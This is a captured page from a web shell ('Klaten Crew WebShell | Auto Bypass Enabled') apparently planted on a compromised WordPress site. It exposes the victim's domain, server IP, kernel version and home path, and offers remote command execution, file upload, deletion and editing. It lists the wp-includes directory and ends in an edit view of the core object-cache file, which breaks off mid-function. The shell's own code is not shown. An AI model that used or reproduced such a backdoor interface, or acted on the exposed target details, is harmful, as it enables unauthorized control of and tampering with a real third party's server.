HanJsXploit Klaten Crew
Linux r5.a1center.net 4.18.0-513.5.1.lve.el8.x86_64 #1 SMP Tue Nov 21 10:14:49 UTC 2023 x86_64
Apache
Server: 167.114.27.228
Your IP: 216.73.217.47
System Info
HOME
home
ipifapor
protransporte.ipifap.org
wp-includes
Command Execution
Execute
File Upload
Upload
New Folder
New File
Name
Type
Size
Permissions
Modified
Actions
..
Parent
-
drwxr-xr-x
2026-07-27 22:41:25
-
ID3
Folder
-
0755
2024-04-02 21:00:18
IXR
Folder
-
0755
2026-03-06 15:56:12
PHPMailer
Folder
-
0755
2026-02-11 12:25:32
Requests
Folder
-
0755
2023-04-23 21:50:43
SimplePie
Folder
-
0755
2024-11-13 19:25:38
Text
Folder
-
0755
2024-11-13 19:25:17
abilities-api
Folder
-
0755
2025-12-03 09:49:16
ai-client
Folder
-
0755
2026-05-21 14:53:04
assets
Folder
-
0755
2026-05-21 14:54:22
block-bindings
Folder
-
0755
2026-02-13 07:34:02
block-patterns
Folder
-
0755
2026-05-21 14:53:13
block-supports
Folder
-
0755
2026-05-21 14:53:03
blocks
Folder
-
0755
2026-05-21 14:53:44
build
Folder
-
0755
2026-06-15 00:05:41
certificates
Folder
-
0755
2023-04-23 21:50:42
css
Folder
-
0755
2026-05-21 14:53:12
customize
Folder
-
0755
2026-03-11 03:03:15
fonts
Folder
-
0755
2024-04-02 21:00:01
html-api
Folder
-
0755
2026-03-17 17:50:28
images
Folder
-
0755
2026-05-21 14:53:18
interactivity-api
Folder
-
0755
2026-02-13 07:34:24
js
Folder
-
0755
2025-12-03 09:48:54
l10n
Folder
-
0755
2026-02-13 07:33:56
php-ai-client
Folder
-
0755
2026-05-21 14:53:37
php-compat
Folder
-
0755
2023-04-23 21:50:43
pomo
Folder
-
0755
2023-04-23 21:50:43
rest-api
Folder
-
0755
2026-03-11 03:03:40
sitemaps
Folder
-
0755
2023-04-23 21:50:43
sodium_compat
Folder
-
0755
2023-04-23 21:50:43
style-engine
Folder
-
0755
2023-04-23 21:50:43
theme-compat
Folder
-
0755
2026-02-13 07:34:15
widgets
Folder
-
0755
2026-02-11 12:26:38
abilities-api.php
File
23.8 KB
0644
2025-12-03 09:49:36
abilities.php
File
7.82 KB
0644
2026-05-21 14:53:38
admin-bar.php
File
38.39 KB
0644
2026-05-21 14:53:13
ai-client.php
File
2.49 KB
0644
2026-05-21 14:53:14
atomlib.php
File
11.9 KB
0644
2025-12-03 09:49:42
author-template.php
File
19.38 KB
0644
2026-05-21 14:53:02
block-bindings.php
File
7.35 KB
0644
2025-12-03 09:49:33
block-editor.php
File
28.05 KB
0644
2026-05-21 14:53:12
block-i18n.json
File
316 B
0644
2021-08-11 20:38:02
block-patterns.php
File
15.24 KB
0644
2026-05-21 14:53:31
block-template-utils.php
File
61.33 KB
0644
2026-05-21 14:53:35
block-template.php
File
17.83 KB
0644
2026-05-21 14:53:35
blocks.php
File
116.64 KB
0644
2026-05-21 14:53:38
bookmark-template.php
File
12.47 KB
0644
2025-04-16 03:39:13
bookmark.php
File
15.07 KB
0644
2024-07-16 20:46:59
cache-compat.php
File
10.76 KB
0644
2026-05-21 14:53:31
cache.php
File
13.17 KB
0644
2025-12-03 09:49:34
canonical.php
File
33.83 KB
0644
2025-12-03 09:49:33
capabilities.php
File
42.61 KB
0644
2026-05-21 14:53:44
category-template.php
File
55.65 KB
0644
2026-05-21 14:53:13
category.php
File
12.53 KB
0644
2026-05-21 14:53:14
class-IXR.php
File
2.55 KB
0644
2025-04-16 03:39:18
class-avif-info.php
File
29.3 KB
0644
2026-05-21 14:53:31
class-feed.php
File
539 B
0644
2024-11-13 19:25:21
class-http.php
File
367 B
0644
2022-06-17 22:50:14
class-json.php
File
42.65 KB
0644
2025-12-03 09:49:37
class-oembed.php
File
401 B
0644
2022-06-17 22:50:14
class-phpass.php
File
6.61 KB
0644
2024-11-13 19:25:21
class-phpmailer.php
File
664 B
0644
2020-07-22 00:28:02
class-pop3.php
File
20.63 KB
0644
2025-04-16 03:39:08
class-requests.php
File
2.18 KB
0644
2023-08-16 02:06:01
class-simplepie.php
File
453 B
0644
2024-11-13 19:25:19
class-smtp.php
File
457 B
0644
2021-01-27 00:15:58
class-snoopy.php
File
36.83 KB
0644
2023-02-04 00:05:20
class-walker-category-dropdown.php
File
2.41 KB
0644
2023-11-08 11:19:37
class-walker-category.php
File
8.28 KB
0644
2023-11-08 11:19:41
class-walker-comment.php
File
13.89 KB
0644
2024-07-16 20:47:00
class-walker-nav-menu.php
File
11.76 KB
0644
2025-04-16 03:39:08
class-walker-page-dropdown.php
File
2.65 KB
0644
2023-11-08 11:19:36
class-walker-page.php
File
7.43 KB
0644
2023-11-08 11:19:38
class-wp-admin-bar.php
File
17.58 KB
0644
2026-05-21 14:53:18
class-wp-ajax-response.php
File
5.14 KB
0644
2022-09-13 02:17:14
class-wp-application-passwords.php
File
16.7 KB
0644
2025-04-16 03:39:09
class-wp-block-bindings-registry.php
File
8.07 KB
0644
2026-05-21 14:53:04
class-wp-block-bindings-source.php
File
2.92 KB
0644
2024-11-13 19:24:51
class-wp-block-editor-context.php
File
1.32 KB
0644
2022-09-13 02:17:14
class-wp-block-list.php
File
4.6 KB
0644
2025-12-03 09:49:33
class-wp-block-metadata-registry.php
File
11.57 KB
0644
2026-05-21 14:53:18
class-wp-block-parser-block.php
File
2.5 KB
0644
2025-12-03 09:49:34
class-wp-block-parser-frame.php
File
1.95 KB
0644
2026-05-21 14:53:32
class-wp-block-parser.php
File
11.25 KB
0644
2026-05-21 14:52:02
class-wp-block-pattern-categories-registry.php
File
4.28 KB
0644
2026-05-21 14:53:13
class-wp-block-patterns-registry.php
File
10.07 KB
0644
2026-05-21 14:53:04
class-wp-block-processor.php
File
68.32 KB
0644
2026-02-09 16:28:24
class-wp-block-styles-registry.php
File
6.27 KB
0644
2026-05-21 14:53:13
class-wp-block-supports.php
File
6.4 KB
0644
2026-05-21 14:53:25
class-wp-block-template.php
File
1.99 KB
0644
2024-11-13 19:24:51
class-wp-block-templates-registry.php
File
6.91 KB
0644
2026-05-21 14:53:00
class-wp-block-type-registry.php
File
4.91 KB
0644
2025-12-03 09:49:36
class-wp-block-type.php
File
16.83 KB
0644
2026-05-21 14:53:31
class-wp-block.php
File
24.14 KB
0644
2026-05-21 14:53:00
class-wp-classic-to-block-menu-converter.php
File
3.93 KB
0644
2026-05-21 14:53:24
class-wp-comment-query.php
File
47.49 KB
0644
2026-05-21 14:53:38
class-wp-comment.php
File
9.15 KB
0644
2026-05-21 14:53:18
class-wp-connector-registry.php
File
14.07 KB
0644
2026-05-21 14:53:34
class-wp-customize-control.php
File
25.51 KB
0644
2025-12-03 09:49:15
class-wp-customize-manager.php
File
198.13 KB
0644
2026-05-21 14:53:14
class-wp-customize-nav-menus.php
File
56.61 KB
0644
2026-05-21 14:53:35
class-wp-customize-panel.php
File
10.46 KB
0644
2025-04-16 03:39:13
class-wp-customize-section.php
File
10.95 KB
0644
2024-11-13 19:25:19
class-wp-customize-setting.php
File
29.26 KB
0644
2026-05-21 14:53:31
class-wp-customize-widgets.php
File
70.89 KB
0644
2026-05-21 14:53:35
class-wp-date-query.php
File
35.13 KB
0644
2026-05-21 14:53:18
class-wp-dependencies.php
File
16.69 KB
0644
2026-05-21 14:53:31
class-wp-dependency.php
File
2.59 KB
0644
2026-05-21 14:53:32
class-wp-duotone.php
File
39.95 KB
0644
2026-05-21 14:53:23
class-wp-editor.php
File
70.54 KB
0644
2026-05-21 14:53:13
class-wp-embed.php
File
15.54 KB
0644
2026-05-21 14:53:12
class-wp-error.php
File
7.33 KB
0644
2023-02-22 03:09:20
class-wp-exception.php
File
253 B
0644
2024-11-13 19:25:18
class-wp-fatal-error-handler.php
File
7.96 KB
0644
2024-11-13 19:25:18
class-wp-feed-cache-transient.php
File
3.23 KB
0644
2025-12-03 09:49:27
class-wp-feed-cache.php
File
969 B
0644
2024-11-13 19:25:19
class-wp-hook.php
File
16.25 KB
0644
2026-05-21 14:53:25
class-wp-http-cookie.php
File
7.1 KB
0644
2026-05-21 14:53:37
class-wp-http-curl.php
File
12.95 KB
0644
2025-12-03 09:49:16
class-wp-http-encoding.php
File
6.53 KB
0644
2023-08-16 02:06:08
class-wp-http-ixr-client.php
File
3.43 KB
0644
2026-05-21 14:53:32
class-wp-http-proxy.php
File
5.84 KB
0644
2023-08-16 02:05:28
class-wp-http-requests-hooks.php
File
1.97 KB
0644
2022-12-16 08:02:18
class-wp-http-requests-response.php
File
4.14 KB
0644
2026-05-21 14:53:14
class-wp-http-response.php
File
2.91 KB
0644
2022-09-13 02:17:14
class-wp-http-streams.php
File
16.37 KB
0644
2026-05-21 14:53:02
class-wp-http.php
File
40.67 KB
0644
2026-05-21 14:53:18
class-wp-icons-registry.php
File
7.67 KB
0644
2026-05-21 14:53:32
class-wp-image-editor-gd.php
File
20.22 KB
0644
2025-12-03 09:49:18
class-wp-image-editor-imagick.php
File
36.11 KB
0644
2025-12-03 09:49:41
class-wp-image-editor.php
File
17.01 KB
0644
2026-05-21 14:53:23
class-wp-list-util.php
File
7.27 KB
0644
2023-11-08 11:19:27
class-wp-locale-switcher.php
File
6.62 KB
0644
2025-12-03 09:49:32
class-wp-locale.php
File
16.45 KB
0644
2026-05-21 14:53:18
class-wp-matchesmapregex.php
File
1.79 KB
0644
2024-04-02 21:00:07
class-wp-meta-query.php
File
29.79 KB
0644
2026-05-21 14:53:01
class-wp-metadata-lazyloader.php
File
6.67 KB
0644
2023-08-16 02:06:02
class-wp-navigation-fallback.php
File
8.98 KB
0644
2025-12-03 09:49:37
class-wp-network-query.php
File
19.25 KB
0644
2026-05-21 14:53:25
class-wp-network.php
File
12.01 KB
0644
2024-11-13 19:25:12
class-wp-object-cache.php
File
17.11 KB
0644
2025-12-03 09:49:26
class-wp-oembed-controller.php
File
6.74 KB
0644
2024-07-16 20:46:57
class-wp-oembed.php
File
30.86 KB
0644
2026-05-21 14:53:44
class-wp-paused-extensions-storage.php
File
4.95 KB
0644
2026-05-21 14:53:35
class-wp-phpmailer.php
File
4.25 KB
0644
2025-12-03 09:49:17
class-wp-plugin-dependencies.php
File
24.59 KB
0644
2026-05-21 14:53:39
class-wp-post-type.php
File
29.95 KB
0644
2026-05-21 14:53:33
class-wp-post.php
File
6.33 KB
0644
2026-05-21 14:53:32
class-wp-query.php
File
159.6 KB
0644
2026-07-17 19:10:57
class-wp-recovery-mode-cookie-service.php
File
6.72 KB
0644
2022-10-04 14:29:14
class-wp-recovery-mode-email-service.php
File
10.9 KB
0644
2026-05-21 14:53:02
class-wp-recovery-mode-key-service.php
File
4.8 KB
0644
2026-05-21 14:53:28
class-wp-recovery-mode-link-service.php
File
3.44 KB
0644
2026-05-21 14:53:13
class-wp-recovery-mode.php
File
11.18 KB
0644
2025-04-16 03:39:14
class-wp-rewrite.php
File
62.2 KB
0644
2026-05-21 14:53:35
class-wp-role.php
File
2.46 KB
0644
2023-11-08 11:19:37
class-wp-roles.php
File
9.1 KB
0644
2026-05-21 14:53:38
class-wp-script-modules.php
File
39.65 KB
0644
2026-05-21 14:53:04
class-wp-scripts.php
File
35.93 KB
0644
2026-05-21 14:53:23
class-wp-session-tokens.php
File
7.15 KB
0644
2025-04-16 03:39:13
class-wp-simplepie-file.php
File
3.47 KB
0644
2025-12-03 09:49:18
class-wp-simplepie-sanitize-kses.php
File
1.87 KB
0644
2025-04-16 03:39:13
class-wp-site-query.php
File
30.74 KB
0644
2026-05-21 14:53:34
class-wp-site.php
File
7.28 KB
0644
2026-05-21 14:53:23
class-wp-speculation-rules.php
File
7.38 KB
0644
2026-05-21 14:53:14
class-wp-styles.php
File
13.04 KB
0644
2026-05-21 14:53:15
class-wp-tax-query.php
File
19.12 KB
0644
2025-12-03 09:49:36
class-wp-taxonomy.php
File
18.12 KB
0644
2025-04-16 03:39:09
class-wp-term-query.php
File
39.8 KB
0644
2026-05-21 14:53:04
class-wp-term.php
File
5.14 KB
0644
2026-05-21 14:53:34
class-wp-text-diff-renderer-inline.php
File
979 B
0644
2024-04-02 21:00:07
class-wp-text-diff-renderer-table.php
File
18.49 KB
0644
2026-05-21 14:53:17
class-wp-textdomain-registry.php
File
10.24 KB
0644
2024-11-21 21:13:47
class-wp-theme-json-data.php
File
1.77 KB
0644
2024-07-16 20:47:02
class-wp-theme-json-resolver.php
File
34.86 KB
0644
2026-05-21 14:53:13
class-wp-theme-json-schema.php
File
7.19 KB
0644
2024-07-16 20:47:02
class-wp-theme-json.php
File
169.57 KB
0644
2026-05-21 14:53:32
class-wp-theme.php
File
64.22 KB
0644
2026-05-21 14:53:32
class-wp-token-map.php
File
27.95 KB
0644
2024-11-13 19:25:18
class-wp-url-pattern-prefixer.php
File
4.69 KB
0644
2025-04-16 03:39:17
class-wp-user-meta-session-tokens.php
File
2.88 KB
0644
2026-05-21 14:53:14
class-wp-user-query.php
File
43.07 KB
0644
2026-05-21 14:53:12
class-wp-user-request.php
File
2.25 KB
0644
2025-04-16 03:39:17
class-wp-user.php
File
22.48 KB
0644
2026-05-21 14:53:32
class-wp-walker.php
File
13.01 KB
0644
2024-09-10 20:39:09
class-wp-widget-factory.php
File
3.27 KB
0644
2022-09-13 02:17:14
class-wp-widget.php
File
17.99 KB
0644
2026-05-21 14:53:15
class-wp-xmlrpc-server.php
File
209.98 KB
0644
2026-05-21 14:53:24
class-wp.php
File
25.75 KB
0644
2026-05-21 14:53:02
class-wpdb.php
File
115.86 KB
0644
2026-05-21 14:53:04
class.wp-dependencies.php
File
373 B
0644
2022-09-21 00:47:12
class.wp-scripts.php
File
343 B
0644
2022-09-21 00:47:12
class.wp-styles.php
File
338 B
0644
2022-09-21 00:47:12
comment-template.php
File
100.79 KB
0644
2026-05-21 14:53:34
comment.php
File
130.94 KB
0644
2026-05-21 14:53:24
compat-utf8.php
File
19.1 KB
0644
2025-12-03 09:49:38
compat.php
File
15.69 KB
0644
2026-05-21 14:53:32
connectors.php
File
23.52 KB
0644
2026-05-21 14:53:23
cron.php
File
43.94 KB
0644
2026-05-21 14:53:14
date.php
File
400 B
0644
2022-06-17 22:50:14
default-constants.php
File
11.1 KB
0644
2024-11-13 19:25:16
default-filters.php
File
36.54 KB
0644
2026-05-21 14:53:01
default-widgets.php
File
2.24 KB
0644
2025-04-16 03:39:08
deprecated.php
File
189.43 KB
0644
2026-05-21 14:53:01
embed-template.php
File
338 B
0644
2022-06-17 22:50:14
embed.php
File
37.9 KB
0644
2026-07-17 19:10:57
error-protection.php
File
4 KB
0644
2026-05-21 14:53:25
error_log
File
301.25 KB
0644
2026-07-19 20:21:01
feed-atom-comments.php
File
5.38 KB
0644
2024-04-02 21:00:10
feed-atom.php
File
3.05 KB
0644
2025-04-16 03:39:14
feed-rdf.php
File
2.61 KB
0644
2020-01-29 11:15:18
feed-rss.php
File
1.16 KB
0644
2020-01-29 11:15:18
feed-rss2-comments.php
File
4.04 KB
0644
2024-04-02 20:59:40
feed-rss2.php
File
3.71 KB
0644
2020-01-29 11:15:18
feed.php
File
24.6 KB
0644
2026-02-09 16:28:28
fonts.php
File
9.56 KB
0644
2026-05-21 14:53:33
formatting.php
File
346.6 KB
0644
2026-07-17 19:10:56
functions.php
File
283.52 KB
0644
2026-05-21 14:53:02
functions.wp-scripts.php
File
20.01 KB
0644
2026-05-21 14:53:32
functions.wp-styles.php
File
8.45 KB
0644
2026-05-21 14:53:24
general-template.php
File
170.83 KB
0644
2026-05-21 14:53:35
global-styles-and-settings.php
File
20.29 KB
0644
2026-05-21 14:53:13
http.php
File
26.62 KB
0644
2026-05-21 14:53:34
https-detection.php
File
5.72 KB
0644
2025-04-16 03:39:09
https-migration.php
File
4.63 KB
0644
2023-08-16 02:06:06
kses.php
File
81.03 KB
0644
2026-07-17 19:10:57
l10n.php
File
69.74 KB
0644
2026-05-21 14:53:34
link-template.php
File
156.39 KB
0644
2026-05-21 14:53:15
load.php
File
55.15 KB
0644
2026-05-21 14:53:13
locale.php
File
162 B
0644
2019-10-09 03:49:04
media-template.php
File
61.79 KB
0644
2026-05-21 14:53:04
media.php
File
219.66 KB
0644
2026-07-17 19:10:42
meta.php
File
65.17 KB
0644
2026-05-21 14:52:03
ms-blogs.php
File
25.71 KB
0644
2026-05-21 14:53:39
ms-default-constants.php
File
4.81 KB
0644
2024-07-16 20:47:00
ms-default-filters.php
File
6.48 KB
0644
2023-02-24 11:53:20
ms-deprecated.php
File
21.24 KB
0644
2026-05-21 14:53:04
ms-files.php
File
2.79 KB
0644
2025-12-03 09:49:36
ms-functions.php
File
89.69 KB
0644
2025-12-03 09:49:36
ms-load.php
File
19.57 KB
0644
2026-05-21 14:53:25
ms-network.php
File
3.69 KB
0644
2023-08-16 02:05:28
ms-settings.php
File
4.11 KB
0644
2025-12-03 09:49:36
ms-site.php
File
40.75 KB
0644
2026-05-21 14:53:25
nav-menu-template.php
File
25.38 KB
0644
2025-04-16 03:39:17
nav-menu.php
File
43.23 KB
0644
2026-05-21 14:53:03
option.php
File
102.62 KB
0644
2026-05-21 14:53:15
pluggable-deprecated.php
File
6.18 KB
0644
2025-04-16 03:39:18
pluggable.php
File
124.57 KB
0644
2026-05-21 14:53:13
plugin.php
File
35.65 KB
0644
2025-12-03 09:49:18
post-formats.php
File
6.9 KB
0644
2026-05-21 14:53:32
post-template.php
File
67.01 KB
0644
2026-05-21 14:53:28
post-thumbnail-template.php
File
10.62 KB
0644
2025-04-16 03:39:14
post.php
File
289.58 KB
0644
2026-05-21 14:53:17
query.php
File
36.23 KB
0644
2025-12-03 09:49:29
registration-functions.php
File
200 B
0644
2020-11-12 21:47:08
registration.php
File
200 B
0644
2020-11-12 21:47:08
rest-api.php
File
98.84 KB
0644
2026-07-17 19:10:57
revision.php
File
29.99 KB
0644
2026-05-21 14:53:13
rewrite.php
File
19 KB
0644
2026-05-21 14:53:34
robots-template.php
File
5.06 KB
0644
2022-04-07 03:03:04
rss-functions.php
File
255 B
0644
2020-11-17 09:22:06
rss.php
File
22.66 KB
0644
2025-12-03 09:49:36
script-loader.php
File
159.3 KB
0644
2026-05-21 14:53:32
script-modules.php
File
11.66 KB
0644
2026-05-21 14:53:14
session.php
File
258 B
0644
2020-02-06 17:03:12
shortcodes.php
File
23.47 KB
0644
2026-05-21 14:53:25
sitemaps.php
File
3.16 KB
0644
2021-05-16 05:08:06
speculative-loading.php
File
8.4 KB
0644
2025-12-03 09:49:34
spl-autoload-compat.php
File
441 B
0644
2020-11-12 21:47:08
style-engine.php
File
7.39 KB
0644
2024-07-16 20:47:01
taxonomy.php
File
172.99 KB
0644
2026-05-21 14:53:34
template-canvas.php
File
544 B
0644
2023-11-08 11:19:36
template-loader.php
File
4.17 KB
0644
2026-03-11 08:36:56
template.php
File
35.96 KB
0644
2026-05-21 14:53:25
theme-i18n.json
File
1.85 KB
0644
2026-05-21 14:52:03
theme-previews.php
File
2.82 KB
0644
2026-05-21 14:53:02
theme-templates.php
File
3.96 KB
0644
2026-05-21 14:53:02
theme.json
File
8.83 KB
0644
2026-05-21 14:53:01
theme.php
File
131.48 KB
0644
2026-05-21 14:53:39
update.php
File
37.38 KB
0644
2026-05-21 14:53:04
user.php
File
174.63 KB
0644
2026-05-21 14:53:01
utf8.php
File
7.09 KB
0644
2025-12-03 09:49:39
vars.php
File
6.45 KB
0644
2026-05-21 14:53:13
version.php
File
1.08 KB
0644
2026-07-17 19:10:59
view-transitions.php
File
602 B
0644
2026-05-21 14:53:28
widgets.php
File
69.17 KB
0644
2026-05-21 14:53:04
wp-db.php
File
445 B
0644
2022-07-22 10:15:12
wp-diff.php
File
799 B
0644
2025-04-16 03:39:14
0
items selected
Choose Action...
Delete Selected
Zip Selected
Unzip Selected
Execute Action
Clear Selection
© Klaten Crew WebShell | Auto Bypass Enabled
Create New Folder
Create New File
Edit File: class-wp-object-cache.php
<?php /** * Object Cache API: WP_Object_Cache class * * @package WordPress * @subpackage Cache * @since 5.4.0 */ /** * Core class that implements an object cache. * * The WordPress Object Cache is used to save on trips to the database. The * Object Cache stores all of the cache data to memory and makes the cache * contents available by using a key, which is used to name and later retrieve * the cache contents. * * The Object Cache can be replaced by other caching mechanisms by placing files * in the wp-content folder which is looked at in wp-settings. If that file * exists, then this file will not be included. * * @since 2.0.0 */ #[AllowDynamicProperties] class WP_Object_Cache { /** * Holds the cached objects. * * @since 2.0.0 * @var array */ private $cache = array(); /** * The amount of times the cache data was already stored in the cache. * * @since 2.5.0 * @var int */ public $cache_hits = 0; /** * Amount of times the cache did not have the request in cache. * * @since 2.0.0 * @var int */ public $cache_misses = 0; /** * List of global cache groups. * * @since 3.0.0 * @var string[] */ protected $global_groups = array(); /** * The blog prefix to prepend to keys in non-global groups. * * @since 3.5.0 * @var string */ private $blog_prefix; /** * Holds the value of is_multisite(). * * @since 3.5.0 * @var bool */ private $multisite; /** * Sets up object properties. * * @since 2.0.8 */ public function __construct() { $this->multisite = is_multisite(); $this->blog_prefix = $this->multisite ? get_current_blog_id() . ':' : ''; } /** * Makes private properties readable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to get. * @return mixed Property. */ public function __get( $name ) { return $this->$name; } /** * Makes private properties settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to set. * @param mixed $value Property value. */ public function __set( $name, $value ) { $this->$name = $value; } /** * Makes private properties checkable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to check if set. * @return bool Whether the property is set. */ public function __isset( $name ) { return isset( $this->$name ); } /** * Makes private properties un-settable for backward compatibility. * * @since 4.0.0 * * @param string $name Property to unset. */ public function __unset( $name ) { unset( $this->$name ); } /** * Serves as a utility function to determine whether a key is valid. * * @since 6.1.0 * * @param int|string $key Cache key to check for validity. * @return bool Whether the key is valid. */ protected function is_valid_key( $key ) { if ( is_int( $key ) ) { return true; } if ( is_string( $key ) && trim( $key ) !== '' ) { return true; } $type = gettype( $key ); if ( ! function_exists( '__' ) ) { wp_load_translations_early(); } $message = is_string( $key ) ? __( 'Cache key must not be an empty string.' ) /* translators: %s: The type of the given cache key. */ : sprintf( __( 'Cache key must be an integer or a non-empty string, %s given.' ), $type ); _doing_it_wrong( sprintf( '%s::%s', __CLASS__, debug_backtrace( DEBUG_BACKTRACE_IGNORE_ARGS, 2 )[1]['function'] ), $message, '6.1.0' ); return false; } /** * Serves as a utility function to determine whether a key exists in the cache. * * @since 3.4.0 * * @param int|string $key Cache key to check for existence. * @param string $group Cache group for the key existence check. * @return bool Whether the key exists in the cache for the given group. */ protected function _exists( $key, $group ) { return isset( $this->cache[ $group ] ) && ( isset( $this->cache[ $group ][ $key ] ) || array_key_exists( $key, $this->cache[ $group ] ) ); } /** * Adds data to the cache if it doesn't already exist. * * @since 2.0.0 * * @uses WP_Object_Cache::_exists() Checks to see if the cache already has data. * @uses WP_Object_Cache::set() Sets the data after the checking the cache * contents existence. * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True on success, false if cache key and group already exist. */ public function add( $key, $data, $group = 'default', $expire = 0 ) { if ( wp_suspend_cache_addition() ) { return false; } if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $key; if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $id = $this->blog_prefix . $key; } if ( $this->_exists( $id, $group ) ) { return false; } return $this->set( $key, $data, $group, (int) $expire ); } /** * Adds multiple values to the cache in one call. * * @since 6.0.0 * * @param array $data Array of keys and values to be added. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if cache key and group already exist. */ public function add_multiple( array $data, $group = '', $expire = 0 ) { $values = array(); foreach ( $data as $key => $value ) { $values[ $key ] = $this->add( $key, $value, $group, $expire ); } return $values; } /** * Replaces the contents in the cache, if contents already exist. * * @since 2.0.0 * * @see WP_Object_Cache::set() * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool True if contents were replaced, false if original value does not exist. */ public function replace( $key, $data, $group = 'default', $expire = 0 ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } $id = $key; if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $id = $this->blog_prefix . $key; } if ( ! $this->_exists( $id, $group ) ) { return false; } return $this->set( $key, $data, $group, (int) $expire ); } /** * Sets the data contents into the cache. * * The cache contents are grouped by the $group parameter followed by the * $key. This allows for duplicate IDs in unique groups. Therefore, naming of * the group should be used with care and should follow normal function * naming guidelines outside of core WordPress usage. * * The $expire parameter is not used, because the cache will automatically * expire for each time a page is accessed and PHP finishes. The method is * more for cache plugins which use files. * * @since 2.0.0 * @since 6.1.0 Returns false if cache key is invalid. * * @param int|string $key What to call the contents in the cache. * @param mixed $data The contents to store in the cache. * @param string $group Optional. Where to group the cache contents. Default 'default'. * @param int $expire Optional. Not used. * @return bool True if contents were set, false if key is invalid. */ public function set( $key, $data, $group = 'default', $expire = 0 ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( is_object( $data ) ) { $data = clone $data; } $this->cache[ $group ][ $key ] = $data; return true; } /** * Sets multiple values to the cache in one call. * * @since 6.0.0 * * @param array $data Array of key and value to be set. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @param int $expire Optional. When to expire the cache contents, in seconds. * Default 0 (no expiration). * @return bool[] Array of return values, grouped by key. Each value is always true. */ public function set_multiple( array $data, $group = '', $expire = 0 ) { $values = array(); foreach ( $data as $key => $value ) { $values[ $key ] = $this->set( $key, $value, $group, $expire ); } return $values; } /** * Retrieves the cache contents, if it exists. * * The contents will be first attempted to be retrieved by searching by the * key in the cache group. If the cache is hit (success) then the contents * are returned. * * On failure, the number of cache misses will be incremented. * * @since 2.0.0 * * @param int|string $key The key under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $force Optional. Unused. Whether to force an update of the local cache * from the persistent cache. Default false. * @param bool|null $found Optional. Whether the key was found in the cache (passed by reference). * Disambiguates a return of false, a storable value. Default null. * @return mixed|false The cache contents on success, false on failure to retrieve contents. */ public function get( $key, $group = 'default', $force = false, &$found = null ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( $this->_exists( $key, $group ) ) { $found = true; $this->cache_hits += 1; if ( is_object( $this->cache[ $group ][ $key ] ) ) { return clone $this->cache[ $group ][ $key ]; } else { return $this->cache[ $group ][ $key ]; } } $found = false; $this->cache_misses += 1; return false; } /** * Retrieves multiple values from the cache in one call. * * @since 5.5.0 * * @param array $keys Array of keys under which the cache contents are stored. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $force Optional. Whether to force an update of the local cache * from the persistent cache. Default false. * @return array Array of return values, grouped by key. Each value is either * the cache contents on success, or false on failure. */ public function get_multiple( $keys, $group = 'default', $force = false ) { $values = array(); foreach ( $keys as $key ) { $values[ $key ] = $this->get( $key, $group, $force ); } return $values; } /** * Removes the contents of the cache key in the group. * * If the cache key does not exist in the group, then nothing will happen. * * @since 2.0.0 * * @param int|string $key What the contents in the cache are called. * @param string $group Optional. Where the cache contents are grouped. Default 'default'. * @param bool $deprecated Optional. Unused. Default false. * @return bool True on success, false if the contents were not deleted. */ public function delete( $key, $group = 'default', $deprecated = false ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( ! $this->_exists( $key, $group ) ) { return false; } unset( $this->cache[ $group ][ $key ] ); return true; } /** * Deletes multiple values from the cache in one call. * * @since 6.0.0 * * @param array $keys Array of keys to be deleted. * @param string $group Optional. Where the cache contents are grouped. Default empty. * @return bool[] Array of return values, grouped by key. Each value is either * true on success, or false if the contents were not deleted. */ public function delete_multiple( array $keys, $group = '' ) { $values = array(); foreach ( $keys as $key ) { $values[ $key ] = $this->delete( $key, $group ); } return $values; } /** * Increments numeric cache item's value. * * @since 3.3.0 * * @param int|string $key The cache key to increment. * @param int $offset Optional. The amount by which to increment the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default 'default'. * @return int|false The item's new value on success, false on failure. */ public function incr( $key, $offset = 1, $group = 'default' ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( empty( $group ) ) { $group = 'default'; } if ( $this->multisite && ! isset( $this->global_groups[ $group ] ) ) { $key = $this->blog_prefix . $key; } if ( ! $this->_exists( $key, $group ) ) { return false; } if ( ! is_numeric( $this->cache[ $group ][ $key ] ) ) { $this->cache[ $group ][ $key ] = 0; } $offset = (int) $offset; $this->cache[ $group ][ $key ] += $offset; if ( $this->cache[ $group ][ $key ] < 0 ) { $this->cache[ $group ][ $key ] = 0; } return $this->cache[ $group ][ $key ]; } /** * Decrements numeric cache item's value. * * @since 3.3.0 * * @param int|string $key The cache key to decrement. * @param int $offset Optional. The amount by which to decrement the item's value. * Default 1. * @param string $group Optional. The group the key is in. Default 'default'. * @return int|false The item's new value on success, false on failure. */ public function decr( $key, $offset = 1, $group = 'default' ) { if ( ! $this->is_valid_key( $key ) ) { return false; } if ( 